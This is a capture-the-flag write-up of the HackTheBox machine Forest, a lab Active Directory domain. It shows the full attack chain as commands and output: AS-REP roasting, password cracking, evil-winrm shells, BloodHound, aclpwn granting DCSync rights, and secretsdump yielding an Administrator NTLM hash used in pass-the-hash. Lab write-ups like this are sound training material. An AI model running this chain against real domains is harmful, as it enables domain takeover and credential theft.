IT Security
Security, challenges and boxes


Banner

HTB: Forest

Rubytox, 20th March 2020

Hello everyone!

Today, I'm publishing a writeup for HackTheBox's machine Forest, made by egre55 and mrb3n. This was the first machine running Windows I tried to own, and I would say it was really the hardest one for me now. However, I learned a lot about Active Directory here, so it was really useful.

As usual, I'm going to add this machine's IP address to my /etc/hosts file, and I will be refering to it using the domain name forest.ctf.

Let's get started! I started by running an nmap scan, which gave the following result:

$ nmap -sC -sV -oA nmap/forest forest.ctf
# Nmap 7.60 scan initiated Sat Dec 28 18:17:33 2019 as: nmap -sC -sV -oA nmap/active forest.ctf
Nmap scan report for forest.ctf (10.10.10.161)
Host is up (0.33s latency).
Not shown: 989 closed ports
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Microsoft DNS
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2019-12-28 17:26:19Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7m55s, deviation: 0s, median: 7m55s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2019-12-28T09:26:36-08:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2019-12-28 18:26:38
|_  start_date: 2019-12-28 15:27:05

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 28 18:20:40 2019 -- 1 IP address (1 host up) scanned in 186.63 seconds

So we learn here that we're targetting a machine in an Active Directory system, whose domain is called htb.local and fully qualified domain name is FOREST.htb.local.

In order to get a foothold, I started by enumerating the users on the AD system, using a tool from Impacket. Impacket is a collection of Python scripts that allow to perform a lot of various actions targetting AD systems. Here, we're going to use the tool samrdump.py: this script tries to enumerate all the users by communicating with the SAMR (Security Account Manager Remote) of the MSRPC. We know that it might work because we saw in the nmap scan that there was an MSRPC service running on port 135.

$ samrdump.py forest.ctf
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Retrieving endpoint list from forest.ctf
Found domain(s):
 . HTB
 . Builtin
[*] Looking up users in domain HTB
Found user: Administrator, uid = 500
Found user: Guest, uid = 501
Found user: krbtgt, uid = 502
Found user: DefaultAccount, uid = 503
Found user: $331000-VK4ADACQNUCA, uid = 1123
Found user: SM_2c8eef0a09b545acb, uid = 1124
Found user: SM_ca8c2ed5bdab4dc9b, uid = 1125
Found user: SM_75a538d3025e4db9a, uid = 1126
Found user: SM_681f53d4942840e18, uid = 1127
Found user: SM_1b41c9286325456bb, uid = 1128
Found user: SM_9b69f1b9d2cc45549, uid = 1129
Found user: SM_7c96b981967141ebb, uid = 1130
Found user: SM_c75ee099d0a64c91b, uid = 1131
Found user: SM_1ffab36a2f5f479cb, uid = 1132
Found user: HealthMailboxc3d7722, uid = 1134
Found user: HealthMailboxfc9daad, uid = 1135
Found user: HealthMailboxc0a90c9, uid = 1136
Found user: HealthMailbox670628e, uid = 1137
Found user: HealthMailbox968e74d, uid = 1138
Found user: HealthMailbox6ded678, uid = 1139
Found user: HealthMailbox83d6781, uid = 1140
Found user: HealthMailboxfd87238, uid = 1141
Found user: HealthMailboxb01ac64, uid = 1142
Found user: HealthMailbox7108a4e, uid = 1143
Found user: HealthMailbox0659cc1, uid = 1144
Found user: sebastien, uid = 1145
Found user: lucinda, uid = 1146
Found user: svc-alfresco, uid = 1147
Found user: andy, uid = 1150
Found user: mark, uid = 1151
Found user: santi, uid = 1152
Found user: mftuser, uid = 7601

So there are a lot of pointless users, and some accounts that look like actual users: sebastien, lucinda, svc-alfresco, andy, mark and santi. Of course there is the Administrator account, that we want to own at the end.

Here, every user might be interesting, but I'm going to start by looking at svc-alfresco: the svc usually stands for "service", so this user should be a service user. This user is interesting because I learned by looking at some "Best practice guides" regarding AD that there were a lot of administrators who gave service accounts higher privileges than they needed, so it might be an interesting way to start pentesting.

Another way to find a list of users could be using the LDAP service, with the tool ldapsearch:

$ ldapsearch -h forest.ctf -x -b "dc=htb,dc=local"

We specify the hostname, then the option -x avoids using SASL authentification method, and we specify which domain controller we should retrieve information from with -b. This gives a lot of information, but I'm not sure most of it is actually useful, for svc-alfresco we only get this:

# svc-alfresco, Service Accounts, htb.local
dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local

So it allowed us to know which OU (Organisational Unit) is the user member of, but nothing more. Now, I was stuck for a while because I didn't really know how to attack the account; I tried using smbmap and smbclient, but it led to nothing.

Browsing through the scripts from Impacket, I found a script that helped me a lot: GetNPUsers.py. Basically, one possible way to connect to an AD is to use the Kerberos protocol. Instead of using clear-text passwords, this authentication protocol relies on the use of symmetric keys and tickets. The tickets are delivered by a service called TGS (Ticket Granting Service), and this is this service we are going to send a request to. Find more information on Kerberos' Wikipedia page.

The script GetNPUsers.py asks the TGS for a ticket (called TGT), and displays it if the targeted user has the property 'Do not require Kerberos preauthentication' set.1 If so, then we will be able to exploit the TGT and get the user's password. Let's try that:

$ GetNPUsers.py htb.local/svc-alfresco@forest.ctf -no-pass -dc-ip 10.10.10.161
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:16cdade20537861af2edfa9c61bcc71a$d932f50[...]b704ff7b99

We then crack this TGT using john and the wordlist rockyou. Let's put the hash in a file names svc-alfresco.tgt, when then just have to run this command:

$ john svc-alfresco.tgt --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:04 DONE (2020-03-21 19:45) 0.2403g/s 982153p/s 982153c/s 982153C/s s4552525..s3r1bu
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We got a password! Now, in order to get the user flag, we need to login to svc-alfresco's session. To do so, we can use a Windows machine and run the following command:

$ runas /user:htb.local\svc-alfresco powershell.exe

If you don't have a Windows machine ready, you can do that using Linux with the powerful tool Evil-WinRM. This tools allows to have a Powershell session, and to upload and download files easily. We use this to login to user svc-alfresco's session:

$ evil-winrm -i forest.ctf -u "svc-alfresco" -p "s3rvice"

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> type ..\Desktop\user.txt
e5e4e[-- REDACTED --]0d9ed

Great, we owned user! Now, let's get working on root. To do so, I'm going to use a very useful tool in AD and that is a bit hard to understand at first: BloodHound.

This software uses graph theory in order to analyze the relations between AD objects, and find interesting attack paths. It relies on a neo4j SGBD, so you might want to install this utility before using BloodHound.

However, if we launch BloodHound just like that, it won't help you lots because you first need to give it data to process. I know two ways of doing so:

Here I'll be using the second method. First, I downloaded the script SharpHound.ps1 in a directory called scripts, then I launched an Evil-WinRM session with the following command:

$ evil-winrm -i forest.ctf -u "svc-alfresco" -p "s3rvice" -s "scripts/"

Then, inside Evil-WinRM, I can load a Powershell script by typing its name in the prompt. The functions it declares will be added to Evil-WinRM's menu. We can observe that this way:

 C:\Users\svc-alfresco\Documents> SharpHound.ps1
 C:\Users\svc-alfresco\Documents> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (`     '`    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/
              By: CyberVaca, OscarAkaElvis, Laox @Hackplayers

[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Invoke-BloodHound

Here, we see that we can call the function Invoke-BloodHound. This function is going to gather all the information we need:

 C:\Users\svc-alfresco\Documents> Invoke-BloodHound -CollectionMethod All -JSONFolder '.'

After a while, this method call will generate a zip file in the current directory named datehour_BloodHound.zip. Download this file using the download function, now we can exploit that.

First, we need to start neo4j using the command ./neo4j start in the binary directory it was installed or built in. Then, launch BloodHound. A login screen should appear: it asks for the credentials for neo4j. Once logged in, you should have an interface similar to this one:

BloodHound blank interface

Here, the database should be empty, so we're going to populate it. Click on the "Upload Data" button on the top right set of buttons, and upload the zip file we've downloaded earlier from the machine. After a while, data should be in the database as you can see here:

Populated database

Then, we're going to see if BloodHound found an interesting path towards the Administrator account. To do so, we click on the "Queries" tab, and click on "Find Shortest Paths to Domain Admins". BloodHound shows the following graph:

Path to Domain Admins from svc-alfresco

Note: Be careful to the data you get from the host you attack. One possible privilege escalation method here is to create a new user, and at first BloodHound showed my a path using the new user other people created instead of the real interesting path.

Note: for some reason, the binary release version of BloodHound didn't work on my computer, it didn't put anything in the database. However, I built BloodHound from sources and this worked better.

So we see that our BloodHound found a way to get to Administrator starting from the user svc-alfresco. For now, I didn't use BloodHound much more because I still had some trouble understanding how it works and what it was showing me. However, I came across a tool that reads the paths found by BloodHound, and that was able to modify ACL permissions when applicable: aclpwn.

We know that we have an exploitable route from svc-alfresco, so we can exploit it using the command:

$ aclpwn -f svc-alfresco -ft user -d htb.local -du svc-alfresco -s 10.10.10.161
Please supply the password or LM:NTLM hashes of the account you are escalating from:
[+] Path found!
Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
[!] Unsupported operation: GenericAll on EXCH01.HTB.LOCAL (Base,Computer)
[-] Invalid path, skipping
[!] Unsupported operation: GetChanges on HTB.LOCAL (Base,Domain)
[-] Invalid path, skipping
[+] Path found!
Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
Please choose a path [0-1] 0
[-] Memberof -> continue
[-] Memberof -> continue
[-] Memberof -> continue
[-] Adding user SVC-ALFRESCO to group EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL
[+] Added CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local as member to CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
[-] Re-binding to LDAP to refresh group memberships of SVC-ALFRESCO@HTB.LOCAL[+] Re-bind successful[-] Memberof -> continue[-] Modifying domain DACL to give DCSync rights to SVC-ALFRESCO[+] Dacl modification successful[+] Finished running tasks
[+] Saved restore state to aclpwn-20200322-130933.restore

We see that aclpwn found two paths that allows it to add svc-alfresco to an interesting group. From there, user svc-alfresco is part of the group EXCHANGE TRUSTED SUBSYSTEM. This will allow us to use another tool from Impacket: secretsdump.py. This tool dumps credentials or hashes found in the machine, but is useful only with enough permissions. We run it the following way:

$ secretsdump.py htb.local/svc-alfresco:s3rvice@forest.ctf -dc-ip 10.10.10.161
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

[-- other stuff --]

secretsdump.py gave us the NTLM hash for Administrator user! We can now try to connect to the machine using Evil-WinRM again:

$ evil-winrm -i 10.10.10.161 -u 'Administrator' -H "32693b11e6aa90eb43d32c72a07ceea6"

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint
 C:\Users\Administrator\Documents> type ..\Desktop\root.txt
f0481[-- REDACTED --]129cc

We got root! So to sum it up, I think that Forest was a really difficult box, but mostly because AD and Windows pentesting is completely new to me. I learned a lot of new concepts, and I think I improved a lot about Windows boxes. However, I still think I didn't understand everything, as I can't really explain some things or commands I used.

Note: do not forget to restore the changes you did with aclpwn. When using aclpwn, the utility told us that a restore file has been saved under the name aclpwn-20200322-130933.restore. To use it, we simply use the following command:

$ aclpwn -f svc-alfresco -ft user -d htb.local -du svc-alfresco -s 10.10.10.161 --restore aclpwn-20200322-130933.restore
b'Please supply the password or LM:NTLM hashes for the account SVC-ALFRESCO@HTB.LOCAL: '
[-] Removing ACE using SD restore approach[+] Domain Sync privileges restored successfully
[-] Could not remove CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local from group CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=htb,DC=local since they are not a member, your restore data may be out of date, continuing anyway!

Here, we see that the restore didn't work because maybe the system was reset before I used it, or any other possibility. However, you should always do that after using aclpwn in order not to make the work too easy for the other pentesters.

So this is over for this box! If you have any comments or suggestions, feel free to open an issue on this website's GitHub page.


1. https://www.secureauth.com/labs/open-source-tools/impacket

Copyright © 2020-2021 Rubytox